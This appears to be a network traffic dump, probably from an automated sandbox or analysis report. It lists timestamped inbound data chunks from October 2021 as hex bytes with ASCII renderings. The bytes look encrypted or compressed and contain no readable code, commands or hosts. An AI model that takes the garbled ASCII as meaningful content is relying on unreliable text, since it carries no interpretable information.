2021-10-12 00:46:19 UTC	2270	IN	Data Raw: fa 7a c5 f6 c8 2b 11 43 18 f3 aa a7 1d 5b 36 9c d3 83 60 77 90 ba 06 e0 c5 e7 cb 96 5e a1 29 25 dc 2e ae 27 c8 3b 70 2f c9 99 c2 c8 63 70 2d 55 7f d0 82 ce a4 27 e2 f2 d0 d1 45 a8 49 0e a3 0d 18 39 83 6c bc 33 20 f2 dc ba 76 15 ea 40 55 be ea 32 ef 0f 2d 38 c7 1c a8 d2 7f 9c 24 fd 5a 43 28 50 44 02 22 e6 3f d3 64 2d a6 a7 ef b2 6c 85 2b c0 e7 a4 1c cd 59 2a 2c 9f 6c 9a e5 56 c2 f6 be cf 05 aa 83 f1 f5 9a df d4 eb 09 11 2c 7d f4 64 3c f4 55 b7 a3 75 9f ea 6d 24 99 59 69 4e 80 82 d7 d5 ed 74 58 81 fc 13 53 8a b8 3e 4b 17 3e 79 0c 34 c4 9a 56 31 c6 40 bf e7 9c 5d a8 f0 cd 46 4e c7 bf 45 4e 1c 99 95 94 e7 3d db a8 ee 8a 76 bc ab 54 96 e6 83 b9 04 ee 07 81 34 aa 8e ac 24 2a 01 77 8d 65 53 02 84 24 a9 3c 75 65 3f 75 50 e8 60 b8 92 cc 24 63 3b 66 5f 29 d2 13 aa Data Ascii: z+C[6`w^)%.';p/cp-U'EI9l3 v@U2-8$ZC(PD"?d-l+Y,lV,}d<Uum$YiNtXS>K>y4V1@]FNEN=vT4$weS$<ue?uP`$c;f_)
2021-10-12 00:46:19 UTC	2286	IN	Data Raw: 66 e7 2c 94 71 4a 72 cc da 29 b5 cd 21 18 62 ce c0 00 ae 61 fc 47 de bd 9f 8d b4 e2 d4 cd 59 f7 67 f5 b6 03 25 c0 2d af 5b f4 87 21 57 71 4a 48 9d 86 1a 4f 50 85 b7 4a d0 af 58 0a f3 ad 47 95 88 1b 58 eb 36 12 9b b9 c1 fa 3b c9 97 79 97 ca 74 3c 08 32 c9 ae 9e 0b 45 5f 10 76 f8 be 00 be f9 50 33 19 fd 3e 7f 3e ca 00 bd 3d d7 f7 45 ad ce 80 da 81 c9 ae 27 b2 2d 53 48 1d b4 1a ba 8d 8e 36 a1 c8 dd de ca 08 45 6d 59 9e 2f 02 14 72 4b ad 8d 78 2d 00 36 f0 15 e1 3d f9 70 9e a3 aa a9 11 88 c3 40 18 67 19 82 53 29 65 04 51 a0 22 21 06 7d 38 45 e6 81 d3 d3 bf cf a8 66 af 22 f9 c3 68 e0 f9 8d 7d b4 5e a1 4d 7a 70 23 99 6d 6c b7 7a 35 27 cb 43 d4 36 ff c4 11 30 03 70 fe a7 3b 17 79 70 8a 83 b6 6b 68 bd 1e 84 f7 0d 59 cf 68 f8 c4 68 f1 b8 78 f1 76 f7 d4 23 18 3f 84 Data Ascii: f,qJr)!baGYg%-[!WqJHOPJXGX6;yt<2E_vP3>>=E'-SH6EmY/rKx-6=p@gS)eQ"!}8Ef"h}^Mzp#mlz5'C60p;ypkhYhhxv#?
2021-10-12 00:46:19 UTC	2302	IN	Data Raw: 9e 75 e4 11 43 64 f1 0c c1 db 99 62 62 0e 7d 0f d8 38 0d 50 f7 6f 4c b4 db a6 e6 f9 64 12 11 d7 bd 66 db bd 65 11 a6 bf 7f 93 4d 4a d9 48 53 36 47 67 ff 95 44 9b a0 84 c0 2d ff c6 b0 1e 9f 59 20 04 a8 f5 16 7b a1 1f 85 d2 34 da 4d 7e ca 53 94 0f 15 d1 53 a2 84 e1 fb bf 60 15 e8 40 9f 1f c8 bf 0b 36 d5 0d c6 d1 71 2c 42 32 45 ef 64 a7 f4 81 54 83 7e ab d5 11 ab 5f db 03 15 2c 23 d4 ca b5 a6 2e 33 0d 8e 1a 36 c1 32 a8 9c 46 3b fe b0 9e b9 ca 06 15 24 12 5f 2e ea 4b 0f 1e ac cd f2 f2 93 8a f5 dc 9a 40 2f a9 08 44 e8 a3 12 e3 2d 91 a8 cb 62 80 bb 8c 58 7d c3 83 ea 89 6c 75 fe 33 09 d2 5a f3 bc 8e 04 fc 8c 5b 41 ab 0c 35 31 2f ad 3d df 34 c8 8b 6b c1 fb c6 51 71 2d 72 86 df b0 f6 19 75 af b2 9d f8 c5 fd 13 1c bf 03 bd 67 29 ee 29 df ed 11 df 4b 63 b7 c7 0f a8 Data Ascii: uCdbb}8PoLdfeMJHS6GgD-Y {4M~SS`@6q,B2EdT~_,#.362F;$_.K@/D-bX}lu3Z[A51/=4kQq-rug))Kc
2021-10-12 00:46:19 UTC	2318	IN	Data Raw: 95 80 d2 f9 a7 6f d6 bc 9a 69 7d 3d 21 83 04 18 83 89 01 e7 b5 f4 df 14 b3 8e d6 9a 62 a0 7f 96 51 0d d2 d1 7b cd 06 87 e8 60 a8 0c 8d c7 00 a5 aa 21 44 d4 af 8d b9 62 68 8b 4e 0f a4 fe 34 74 66 37 7f eb 1d 13 c8 5d ef ac 02 b1 54 5d 65 d3 0f 70 64 d4 7f e7 42 2b c9 12 06 65 06 c9 91 d2 65 5a e1 52 49 55 4c 94 2b 53 34 10 04 9b 9b 64 04 71 f5 93 7a 76 c3 6d 80 1e b4 41 a6 f1 16 39 f1 06 03 cc b3 9f 26 e1 f1 c5 28 2b 90 6f ba fa 32 f8 68 45 07 17 2f 7b 2e 31 81 cb 86 f5 52 34 9d 67 05 86 9a ca 61 67 1e 0b 61 03 ce a7 c6 75 ad 81 84 8c 2d 04 ac 55 65 32 13 10 2c 84 ac 93 1d f0 4a 2b a7 82 4a 04 12 70 c1 65 e2 a6 08 3d a7 f7 91 69 ea a1 c1 c6 bb d1 fb 41 2c 90 71 08 bc da 29 3f 7a d9 5f f2 46 50 f2 ff d1 93 83 fb 05 03 0d 6a 37 95 2b 13 83 c6 40 51 9c 60 34 Data Ascii: oi}=!bQ{`!DbhN4tf7]T]epdB+eeZRIUL+S4dqzvmA9&(+o2hE/{.1R4gagau-Ue2,J+Jpe=iA,q)?z_FPj7+@Q`4
2021-10-12 00:46:19 UTC	2334	IN	Data Raw: 0e 4c 31 4b 1c 07 50 cc 8b 24 48 56 96 35 ad 6d 6d 54 e5 f0 41 af cf 1e d4 0d 51 e6 0b f2 d0 cf 16 96 74 5d f4 ee bc 57 6a 9f bf f1 4f b7 26 4a fd 58 d0 b4 5a 4e 47 78 76 66 d6 c4 c6 80 be 0e 4e 9f 63 60 1c 1a 91 a1 0d cc 0a 68 ec f3 e3 88 61 21 75 3f 28 fa 7f c7 e8 19 4c a4 9f e1 22 f2 0a 65 36 8f 7a f9 49 dd 07 8f 33 af f5 1c 6e 41 50 31 32 51 64 6a c2 7d 72 4b 1a 1c a1 13 a7 92 a6 08 26 f8 76 ee 36 ef a2 81 33 f3 49 c7 ba 29 fa 5d 8c 70 d6 29 d6 5b e8 57 c4 48 71 8e 09 f0 6e 8c 58 8a ff 16 01 04 8b 13 9a c6 d4 46 cf 2b 25 c7 16 8b ec 14 31 84 1a 10 47 87 61 9a 0d ad a0 d7 77 d3 b6 90 6a 23 a7 76 8a 85 8c 28 8e 25 ad 98 e2 da 4e 60 9c a3 46 f7 b1 3f db b9 ee 3e a6 57 db 7e e9 57 fe a5 cd d1 9c 56 c7 f9 12 78 6c 3e 8f ab d6 49 9d 7b 3d 14 6a 9a e1 1f e9 Data Ascii: L1KP$HV5mmTAQt]WjO&JXZNGxvfNc`ha!u?(L"e6zI3nAP12Qdj}rK&v63I)]p)[WHqnXF+%1Gawj#v(%N`F?>W~WVxl>I{=j
2021-10-12 00:46:19 UTC	2350	IN	Data Raw: c6 67 12 d5 8c 5c 9d 21 b6 5f 82 fc ee 83 84 c2 dc 75 80 3d 1e a7 73 a0 32 23 53 65 17 6b b8 b2 db de 6d fa 66 10 ef 5e 70 97 eb 8f da a3 8d 36 d6 28 21 a7 d1 b3 2a 52 3f 9a 41 21 e0 d6 98 9f 15 39 d0 d9 e9 cc 04 b0 45 df 60 7f 06 ed b0 11 6a c2 ef 2a a3 d2 93 64 2a e6 2b 29 c1 77 43 82 a4 12 70 d3 77 71 07 f7 eb 01 0b 54 b2 b7 03 45 d3 cc 9e 15 90 8c 97 a8 2b 1b df 0a 5a 5c e6 9b 85 05 c9 c7 43 67 53 10 b6 16 71 ee 72 a2 14 aa 61 f5 ea 60 be 73 30 99 48 d9 09 c5 fc 01 8d d8 4a a4 7e b5 ee 9f 87 5d d9 e5 52 c6 b7 16 ab ec b2 bc 78 1e 10 db 5f 12 0c 93 e9 70 ad 6d 73 c1 b6 e0 1a 4e b7 8a 5d c2 dd 7b 03 69 ad ac 51 0a 93 f9 1a 0c 09 3b 52 4a 61 d5 d4 4a 02 cf 3e 49 b3 66 c9 84 dd d4 27 ba 94 41 e4 c0 cc 80 6b 2f a9 46 29 ef c8 36 95 d3 2f 15 55 a5 f2 3e 20 Data Ascii: g\!_u=s2#Sekmf^p6(!R?A!9E`jd*+)wCpwqTE+Z\CgSqra`s0HJ~]Rx_pmsN]{iQ;RJaJ>If'Ak/F)6/U>
2021-10-12 00:46:19 UTC	2366	IN	Data Raw: 18 45 f8 af 6e 1e 68 69 2f 19 70 71 db 10 e2 89 c3 6e 10 20 43 bd f2 ed 49 0e a9 1f d2 9f bd d6 48 37 af ca c8 d1 e2 72 cd ce 5b bf 07 2c e9 5e 61 94 72 a0 94 79 56 80 25 47 02 df b7 23 d1 3d ef e9 d1 43 36 54 40 0e 09 f0 1d ef da 40 6d 69 56 16 6a 6a 34 b9 c3 68 8d 0d e8 dd 92 95 0e ff 77 b6 ef 88 79 b8 6f 2a 77 1d c5 e6 8e c0 90 1f 22 81 04 2e ce 8a 15 d7 e3 f6 12 9d 20 e7 e5 32 75 ae 3b 29 7c aa 57 48 87 6f 71 fc 62 d3 cf 63 9e cd 63 ea 6d 96 44 06 c6 86 ba 42 79 8c 47 88 69 4f b5 f8 9c a4 85 ce c1 d0 fa 93 5e 70 43 1d fc 82 e4 9b 80 09 d0 24 fd 04 73 60 2d 6b de 3c 1b b5 05 e4 96 24 a8 64 1a cb 62 f0 f3 db 6f ed aa 8c 32 36 23 a2 7c 64 4c 13 87 c4 92 14 1d 58 69 bc c7 2c 9d d6 9a db 82 59 dd c2 08 84 f9 82 93 07 4a 4c e1 5c b4 04 bf 54 70 1d 2a 87 d3 Data Ascii: Enhi/pqn CIH7r[,^aryV%G#=C6T@@miVjj4hwyow". 2u;)\|WHoqbccmDByGiO^pC$s`-k<$dbo26#\|dLXi,YJL\Tp
2021-10-12 00:46:19 UTC	2382	IN	Data Raw: 3b b1 df a4 9b f7 3e 8c 80 84 0a 38 ca 50 7d d1 3c db f4 06 3f ac 08 33 0c 94 73 8e e6 d4 1c 26 c1 bb f3 08 45 0f b6 ab 0e 4f 72 2f 9c e8 8a e1 cc 55 7a 5e 53 0c c7 d2 78 b7 95 2e 24 41 97 9b fe 2a c3 77 e6 03 44 36 d7 eb 8a 94 40 0d 9f 59 65 83 23 99 6d c3 eb ba c2 d2 e1 11 16 12 0b 94 cd b5 fe e9 31 50 be de 80 cb 2d 91 10 e5 e5 e8 b1 63 68 cd 59 7e 08 d4 6a d8 54 7a 62 6e 9e cb 46 52 72 0f 10 b8 4c 32 c5 f8 91 97 cd d7 a4 ad 6f 18 9a 54 2a 6f 4d 24 3a 7e c1 6c 0d 75 1f 71 3b 51 02 e4 34 6d 38 e4 ab 62 f6 52 83 7b e5 e0 69 4c c9 1e 39 de e4 ad 66 56 19 59 ab 46 9e 15 b1 17 41 cb d4 9a 13 82 7d 3f 6a 6d 94 8c b0 49 5d f4 65 b6 44 58 21 ab 63 36 79 e7 b5 f3 a3 fa d7 4a 6a 9d c6 c6 bd 4b 2c 55 30 2d d4 d5 71 40 fc 40 cb 22 f7 57 36 9b d5 00 83 7e c9 fe 5f Data Ascii: ;>8P}<?3s&EOr/Uz^Sx.$AwD6@Ye#m1P-chY~jTzbnFRrL2oToM$:~luq;Q4m8bR{iL9fVYFA}?jmI]eDX!c6yJjK,U0-q@@"W6~_
2021-10-12 00:46:19 UTC	2398	IN	Data Raw: af 12 41 33 f3 75 a3 62 48 22 8d db a8 c6 8f 0f bb 61 4e 49 2a f8 72 bb 33 66 7b 05 65 c8 54 7f 2f 02 40 61 83 63 0c 52 39 bc 8a c4 bb c4 68 eb 3c 11 ea 96 cb d1 f4 b0 e0 84 7b 92 95 30 46 c8 c3 81 8f fb 1d ae e9 e7 a5 6f 1a 1a 30 74 32 4e 70 0b 33 1e ad cf 0c c8 d2 e1 85 f0 b5 28 ce ca 3c ba e2 79 fe 53 23 6a 94 c0 0b 58 76 aa 23 1d 1f bf d2 b0 65 16 17 8b 0e 40 4f ea 16 3c ef 85 75 04 21 da fc 2f c1 45 d3 ed 3d b2 1d 72 8b 7a 5f 01 32 45 53 ba 2c 55 3c 9c 01 6b 49 da 84 3a c7 d2 41 6b 5a ad 2b 5c 48 f4 b2 b3 78 de 05 c9 d7 1d 5a ec 1e 43 ae e6 02 20 96 88 b7 2b 6b a8 c7 28 8a a6 35 74 5d ef 38 8e dc 50 47 45 4a 45 19 bd c8 98 80 8e e1 32 5d ee 14 44 28 43 b1 fc ad c9 8c fe b8 d7 54 3c 23 1b 87 93 83 30 31 6f 5e b1 68 96 c1 1c e9 9a 94 c0 ce 13 00 65 16 Data Ascii: A3ubH"aNI*r3f{eT/@acR9h<{0Fo0t2Np3(<yS#jXv#e@O<u!/E=rz_2ES,U<kI:AkZ+\HxZC +k(5t]8PGEJE2]D(CT<#01o^he
2021-10-12 00:46:19 UTC	2414	IN	Data Raw: 60 4d 10 ab 03 ff c7 81 02 ed 3d fc da a4 3c e9 7c 47 11 ef 5d cf 1c 53 ba 7f ea a4 e7 09 40 b5 5d 09 9f cb 92 e0 e2 d0 9a 14 33 02 bf cc 0d 9b a7 1a 8f f1 3a 2e 63 9a e6 5c b2 66 61 b9 56 b8 36 67 4d e1 51 7b 7d a3 8b 7a 69 41 09 98 fc f3 0b b0 42 27 aa 62 f5 8c 8b 09 03 4c 53 2d 1e ae ce c9 f8 18 db 73 91 ff a8 d9 55 46 06 29 97 d6 86 03 55 e1 80 33 d5 7c aa 47 f6 04 21 1a 8a a2 22 ad b6 3d 35 d3 d4 15 20 a4 09 1a 4f 6b 5c 3a 5f 01 92 68 c1 7d b3 ff b0 6e a5 d8 2d 72 ce eb 59 0c 29 ed ab 4e d8 70 1f c3 7f 74 7a 44 30 03 18 1c e8 1c b3 87 ba a1 22 5f c0 41 b8 17 96 b3 77 5f fb 6f 37 ed f6 70 6c 08 a5 d4 a8 29 9d d7 10 f2 40 6a e0 72 99 38 25 0a 7c 59 65 4e b6 a1 98 58 60 c9 4e da cb 27 63 ae f7 c7 55 34 2c 5a af 6a 75 1d 9f e6 91 6d 66 d5 b6 1e 8b 91 7d Data Ascii: `M=<\|G]S@]3:.c\faV6gMQ{}ziAB'bLS-sUF)U3\|G!"=5 Ok\:_h}n-rY)NptzD0"_Aw_o7pl)@jr8%\|YeNX`N'cU4,Zjumf}
2021-10-12 00:46:20 UTC	2430	IN	Data Raw: ff 3c ff a5 34 0f 67 04 77 d3 a3 9a 3e d8 f7 98 62 26 45 93 7d 5d f8 4e 6d 51 8d 50 64 9b d8 9b d8 94 0e 07 9c d6 ab 21 13 4b 0d 93 e4 e3 ff 25 ac ab 84 ab 08 da 27 5d 99 7d 5a 1c 4c 89 00 67 6f db 55 b1 77 3a b3 55 2f 71 86 52 2b a5 3f 4d d9 2d f3 1a ae c1 60 0e bc e5 3f 92 c8 10 01 93 82 fc 53 80 2e 62 6a b7 55 6a 80 13 a9 e6 c4 c6 cb b2 fe b6 df 61 68 84 32 cc b0 98 f9 37 72 d5 6a 59 c9 38 33 90 a3 1a 24 69 99 96 0a 36 30 40 06 7f 24 2e 1a 7a 81 2b 15 eb 95 77 d5 59 ae 97 d0 b9 21 77 00 94 3b 52 63 27 d1 59 04 72 e0 f5 ab 07 a6 88 e8 2c c4 c3 c9 84 59 51 83 a2 5e bb cc fe e7 5a eb 73 70 c8 28 26 3c 43 a0 eb 5a dd 56 87 97 c3 72 60 a1 e6 5e 03 d3 38 44 22 35 77 9f 61 7b 0e 54 ab fb a3 d0 1c 00 8a fd 9c fd 92 07 54 db b8 d8 15 98 b6 33 5b ab 1d d7 f2 a1 Data Ascii: <4gw>b&E}]NmQPd!K%']}ZLgoUw:U/qR+?M-`?S.bjUjah27rjY83$i60@$.z+wY!w;Rc'Yr,YQ^Zsp(&<CZVr`^8D"5wa{TT3[
2021-10-12 00:46:20 UTC	2446	IN	Data Raw: f1 4c 90 fc e0 10 ed 1c a7 53 1f c9 35 31 30 54 d1 e6 7a a7 b0 b4 ef a7 df c6 91 6d ea 55 47 21 3c 3f b9 b3 95 a5 c5 c1 2f 07 c0 dc f0 d8 0d 82 3b 58 83 80 40 4a 98 78 a0 20 f5 a7 b8 e8 cd 93 42 e4 25 d0 83 c1 d0 18 16 6f 6f c5 6e d1 38 40 1d 9e 9d 59 4b b7 5c 6d bc 93 a9 48 f8 53 ed 91 d3 68 38 f1 00 1c 1e 09 2e 52 a9 d1 31 dc 4c 2d 0a bb d2 59 fe 5e e2 f5 d6 52 eb 47 c0 70 c2 4c 95 f6 3f f4 98 19 6b c7 06 da 1b 28 b0 f6 95 d0 04 c6 f6 a7 59 e5 1d 96 7a 16 59 64 71 0d 6e 3c ab e9 39 0e 23 e4 87 27 89 37 c7 e5 06 2c bb 9a b5 a7 40 14 93 b9 80 89 a3 dd bc 73 cb cc 88 c8 ab 83 57 45 30 9e 81 33 d5 db cf d7 59 b7 a9 02 72 a0 44 ce b7 d5 3a ac 0b 59 66 17 64 ba c9 38 db 08 dd 9f 47 ca ab f4 34 c7 2f f7 01 1d 41 a5 fc 44 14 5d 97 60 8e df 3f 94 ef 2b 5f 7b 42 Data Ascii: LS510TzmUG!<?/;X@Jx B%oon8@YK\mHSh8.R1L-Y^RGpL?k(YzYdqn<9#'7,@sWE03YrD:Yfd8G4/AD]`?+_{B
2021-10-12 00:46:20 UTC	2462	IN	Data Raw: c9 0a 42 bb 86 5b 13 ee 9d 5d 97 11 91 e7 f4 18 53 d7 56 29 d4 c9 8a 4f 32 4d 6c b6 18 e4 f0 2a 41 5a b0 c9 55 c8 e8 97 49 c4 2c 85 1f 4e 6b d4 cb 7f cf f1 51 28 29 e2 6d 50 1e ff 36 c0 56 94 3e ec a5 e7 f7 91 9e bc 46 f9 de 53 fc be a3 05 26 33 66 9c d2 68 3d 15 86 eb bf e1 a0 41 6c e8 26 1f 27 1c 07 7a fc eb ce f5 22 b8 62 fa e6 f9 08 9a c8 8c 83 10 d9 38 d8 8b 09 15 a8 0b 51 74 a7 cf d2 7d 74 86 fb 21 9e ab f4 c5 e4 08 16 13 05 13 83 0b 4b 8c eb 2d d8 8d 78 c1 29 18 b1 f4 b9 7f fc 98 55 1e 53 7a 87 2a 1c 19 bf 07 60 eb 26 45 4c 52 24 32 f9 49 3f d7 fb 4c 22 3e 6e af b5 c5 78 e2 ab f5 e3 1c 8b 23 02 bb b1 72 ea e7 57 f7 58 d1 12 7c da 01 a4 2d c8 74 c4 43 68 42 f5 57 b4 d3 2a 4b 1e c9 47 52 73 f4 15 cc 8d 00 68 b6 4d 15 af e8 83 3a 94 d3 de 16 c0 b7 d1 Data Ascii: B[]SV)O2MlAZUI,NkQ()mP6V>FS&3fh=Al&'z"b8Qt}t!K-x)USz`&ELR$2I?L">nx#rWX\|-tChBW*KGRshM:
2021-10-12 00:46:20 UTC	2478	IN	Data Raw: 10 d4 01 48 23 e8 f0 0d f6 81 ee d7 d7 61 c1 6c b6 9b 15 af 07 60 72 80 de b5 6f 4c ab 1f 1d 6c 38 ca 4b 10 ff 8e f5 5d 98 8a fb bd ad 21 92 0d bc fc 34 6a a4 11 18 95 82 90 0c 29 d1 64 08 dd d0 5c b0 b5 f0 f8 40 78 78 bb d8 82 80 f4 1a 7c 90 5c 66 5f b2 09 2b 20 36 4a 8f 3e eb 2b c7 7c c3 92 5f bf 93 7b ef 56 6b d0 ef 5e e3 76 1a b7 5c ac 37 79 8f b8 5c 31 5e 2e e9 c4 06 7e 9e 4c 7a 48 2e 09 28 a3 48 9e 53 1f ff e7 e8 20 d4 a9 2b 8c cb 6a aa 9c 67 ce b0 42 06 d4 e0 d8 be 71 e7 3e 0c 4d 60 f1 04 cf 53 25 da dc 29 21 d4 35 f4 21 5f d5 cc d7 82 ee 3e d3 73 ef d4 93 a5 f3 2f 2a fa 5f d8 32 10 64 4e 0a 8b cc 1c aa b9 4c 76 b2 24 8d c1 e7 51 d8 d2 39 2a 09 b6 9a 98 b2 2c 78 13 ae e7 81 30 63 80 4b 17 0b 7f 52 5d e3 36 19 6e 00 75 d8 f5 d8 eb 0d 86 ce 6c f6 f9 Data Ascii: H#al`roLl8K]!4j)d\@xx\|\f_+ 6J>+\|_{Vk^v\7y\1^.~LzH.(HS +jgBq>M`S%)!5!_>s/_2dNLv$Q9,x0cKR]6nul
2021-10-12 00:46:20 UTC	2494	IN	Data Raw: 8c 36 67 c8 c0 a3 df bd 31 b7 84 37 22 7f 33 81 3b 81 23 34 40 d7 b6 e0 02 ae ba c0 e4 da 12 6e 3f d5 69 86 f1 4d f8 59 4a d7 c5 b9 43 e9 38 4e 99 32 ac 52 5c 9c 80 43 d6 78 7b 47 dd 03 0e fb 8a bc c1 0a c4 6c 01 24 34 d7 3b bd ba ef 0c 8a 35 90 e0 a7 9b b5 24 d8 0c b1 c9 99 10 27 be 8a 68 a1 3d b5 35 02 cd 5a 00 21 22 0e 12 79 e2 76 db 96 d1 ba 09 35 fa 62 4a ae 8e 50 64 a3 b7 9d c9 fc 87 d3 18 5c 21 23 82 d5 41 98 8a d9 e2 fb 98 8b e8 dd 98 68 18 59 c3 f8 8a 2d 8c c8 08 95 ec 34 51 85 42 78 30 ff 21 3c 0b c2 41 7d ee b7 77 dc 33 82 08 d8 92 db 0a d4 05 8d e8 42 6d 1f a2 64 d9 2f f6 ae 98 c5 b9 62 ee 0d 74 3c e7 cd 01 a5 0a 4a 95 97 e0 83 38 71 18 cc 9c 7e 30 50 12 82 a8 f1 0e e1 9d da 33 a1 42 fe d0 f0 1d cf 45 c1 b9 8a 10 2b 89 d8 65 6e 0f 6e 91 47 b2 Data Ascii: 6g17"3;#4@n?iMYJC8N2R\Cx{Gl$4;5$'h=5Z!"yv5bJPd\!#AhY-4QBx0!<A}w3Bmd/bt<J8q~0P3BE+ennG
2021-10-12 00:46:20 UTC	2510	IN	Data Raw: 93 95 82 f0 e8 b6 2b e1 2b 67 7c 57 a9 e5 b6 47 a2 10 aa 21 13 27 11 00 36 b2 0a 31 de 74 cd fc ca c0 5b 92 cb 40 76 24 3c d9 43 ea e5 8b fa 85 47 5e 51 ca 0f 19 60 c4 a0 c0 5e 68 4f f9 fc 4c ea bb 92 33 22 8d 4b 6e d7 8f 12 50 d4 bb f3 eb bf dd a8 12 21 57 e2 82 22 a1 16 55 5f ab 16 bc 8e 2c e4 d6 fe cf 07 f8 f0 cb 6e 31 7f 8b b5 03 91 6f 3e e8 1a a0 cc 56 6e f1 33 f3 c2 43 c1 93 f6 83 55 e4 01 b8 c5 20 cb 0e da ea 8c 18 72 e2 49 9d c7 ba e2 97 59 97 a0 bf 4d c1 72 22 83 cc a8 b6 27 b3 22 ed 7b ca 1f 23 2a 0c a4 6a fb d3 73 1f b8 90 ca 2e 26 43 40 f6 69 2d 57 68 52 39 ed e3 78 19 c9 b6 9d 83 1b b9 ed ca 73 a3 63 87 6b b6 21 64 22 53 bc 74 80 a9 93 ee 6b 77 8f c0 53 b2 0b e6 2c f3 4e fb 39 7f 19 48 8d 0d 73 27 7f 49 9b 31 99 6b 15 ee 66 f3 90 24 94 78 24 Data Ascii: ++g\|WG!'61t[@v$<CG^Q`^hOL3"KnP!W"U_,n1o>Vn3CU rIYMr"'"{#*js.&C@i-WhR9xsck!d"StkwS,N9Hs'I1kf$x$
2021-10-12 00:46:20 UTC	2526	IN	Data Raw: eb 50 57 a6 4c 11 dd 94 29 48 cb 6e 59 af f9 08 8c f3 d6 16 d5 dc bd 03 2e 93 82 39 a2 3c 5e 02 88 84 fe f9 9a e3 da 59 8a 6c 24 f6 84 2e 17 0c c7 5f f8 06 fa 10 a1 1e 0e 96 e5 51 3f 75 b7 aa 7c f2 78 05 8d 6e 47 fa 9f ce 88 d0 c5 25 e5 f4 0a be b1 41 78 42 7c 1d df 05 2a 36 70 d2 63 4a 63 6e 53 e0 14 2c af 34 49 aa 1f 01 75 74 2a 7a 3a 81 4e 74 68 33 e2 49 d4 a7 86 92 ca 44 e7 25 57 e7 d0 d3 14 ba 1e 63 90 4c ff 7e 2d 5f 5e 44 02 08 f6 2b 4d 20 fa ba 56 20 62 a3 d5 5f 3d 29 27 6e 47 a3 59 d2 01 b6 93 4a 78 52 39 90 c6 1b 46 93 33 80 3b 1f 45 a1 aa 75 10 1a e5 db 89 f3 43 59 92 59 f1 f7 f9 58 ae 2d 0a ab 07 a4 fe af 7a 05 7b 3c d7 5b 5f 1c ea ae 4e 24 0d 1e 98 b6 6e 8e e4 21 06 54 77 c3 c7 61 ae 95 2c 86 b7 b3 0e 2b 29 e7 7b 52 c0 f7 80 ed a1 30 d0 63 69 Data Ascii: PWL)HnY.9<^Yl$._Q?u\|xnG%AxB\|6pcJcnS,4Iutz:Nth3ID%WcL~-_^D+M V b_=)'nGYJxR9F3;EuCYYX-z{<[_N$n!Twa,+){R0ci
2021-10-12 00:46:20 UTC	2542	IN	Data Raw: e4 f6 63 f4 c9 cd 51 31 cc e8 e1 d2 56 75 85 f6 82 d6 12 2d 1e 33 35 fc 06 43 66 43 5d 46 a6 f8 4f 52 df 00 4a 1d 37 00 09 3f bd 51 70 d5 41 d9 ee e1 67 86 ce 1d 6a e2 29 21 ac 33 11 1e 01 97 f2 9e 52 6f 8e 32 95 f4 07 df b7 2f c0 68 1f bc a7 52 49 0c 08 71 de 17 d7 e2 17 ab 90 71 aa aa 7c 6c b0 cd 28 0f aa 1f 9d eb b1 65 78 e8 47 f2 d6 92 07 3b 21 6e fa 03 ba 90 0d 44 db 94 ad d7 22 08 ed e2 93 48 24 8e 69 f2 57 08 6d 0d cb ea b8 eb 51 78 ce 3f cf 3c c0 2f 91 45 4b 74 35 d0 14 af 64 17 2a b5 51 9c e2 49 14 2d 36 a4 8e 2c f6 38 03 51 2d cc 5b 4d e2 59 68 48 9d 20 91 4f d8 f2 3a 59 02 e6 90 96 55 9d 87 62 57 05 d7 e9 d2 23 54 e2 8e 26 c1 ee 29 f0 92 d2 7b aa 98 4d a0 e5 15 c2 d9 4b 06 d0 96 4f 7e 07 3f 94 64 9b b9 68 5f 0f 61 ac 8b 2c 46 b1 70 6c 9a e2 30 Data Ascii: cQ1Vu-35CfC]FORJ7?QpAgj)!3Ro2/hRIqq\|l(exG;!nD"H$iWmQx?</EKt5d*QI-6,8Q-[MYhH O:YUbW#T&){MKO~?dh_a,Fpl0
2021-10-12 00:46:20 UTC	2558	IN	Data Raw: 60 2e c5 46 f5 2c af a7 8a 75 fe a0 15 70 f2 e3 3b 32 86 7f c1 f0 7a 27 cb f4 92 87 26 8c b4 aa 50 e5 32 e0 7a 52 eb ed 8f 45 20 65 35 92 a4 e7 39 80 22 d8 75 aa 7a 96 ba 53 32 a3 ba c1 d3 0d ed 7e 16 fa b0 68 2f bb 42 7c 30 b6 3d 4f c2 12 59 02 d4 8c 3e 1b f8 0a 49 f0 d3 e9 a2 f4 cb f4 bc db 19 43 e7 0a c1 e1 a9 a9 a7 08 a5 8d 22 de 7e b7 99 76 de 31 28 4a 09 07 ac ac a0 2e 11 03 ee d0 28 cc f7 85 d3 cb 6d bf 6f 42 21 69 eb 7c 48 24 cc cd 65 7f 7f 27 1f 8d b0 cd e9 47 ca f9 6d e4 db 51 8a 09 53 e7 f8 9c 7d 63 3f e4 ef 8c 7f 72 18 ec 17 f1 29 f6 14 e1 35 18 a7 6e e3 a0 38 c9 58 75 c4 2f 88 1e 32 bf b3 84 28 13 a3 68 08 26 61 77 f9 e0 1a 90 87 8c d4 1f ae df 62 d0 d5 ee 28 b1 3b f5 3a 5e c9 80 fd 5c 3e b7 8b b4 22 65 99 ce 5b 51 94 10 02 77 88 fd 5f fd b8 Data Ascii: `.F,up;2z'&P2zRE e59"uzS2~h/B\|0=OY>IC"~v1(J.(moB!i\|H$e'GmQS}c?r)5n8Xu/2(h&awb(;:^\>"e[Qw_
2021-10-12 00:46:20 UTC	2574	IN	Data Raw: de c3 dd 17 5a 57 16 24 5d 6a 27 3f bb bc 97 cf 5b d5 15 48 b4 d5 ad 77 74 cf 5e 09 1d 11 8b 8a df cc ae 25 57 83 a8 f3 26 6c 79 10 2c 63 57 e0 35 05 79 22 03 e1 f3 33 cc 8b 86 8e ba c2 a1 9f 7b 9c 8f 33 f6 ac b9 e2 03 a2 15 c4 89 8f 6c 8d 08 46 c2 34 71 7e 2b 62 5d 2c a3 c8 ae 0b 69 b9 63 57 f5 3d 77 2f dc 06 ba 6c 89 29 94 c3 5a c8 46 58 fe 81 fc bf 34 0b 55 33 87 09 86 85 76 54 79 88 21 f1 b0 d4 67 7d 8b 98 22 04 89 97 c4 1e 94 c5 74 37 db 30 52 a4 62 85 ae e2 2a 2e c2 af b8 a3 11 00 8d b9 6b 58 13 39 65 20 ce 49 de b1 68 a9 06 90 f2 b1 f1 89 5f 89 c3 a6 7d 0e c6 0b 66 51 d5 27 82 35 ef 91 78 2b d8 9d 6b 21 1d f1 b0 cf 4c f9 8b 64 9d 11 5f eb c3 cf 91 38 41 1c 52 da 19 cb fc 36 ea 2e ce a2 16 f2 e5 cb 0e 08 f5 f6 92 9d 86 20 73 39 6c dc 7e 6c f7 91 d4 Data Ascii: 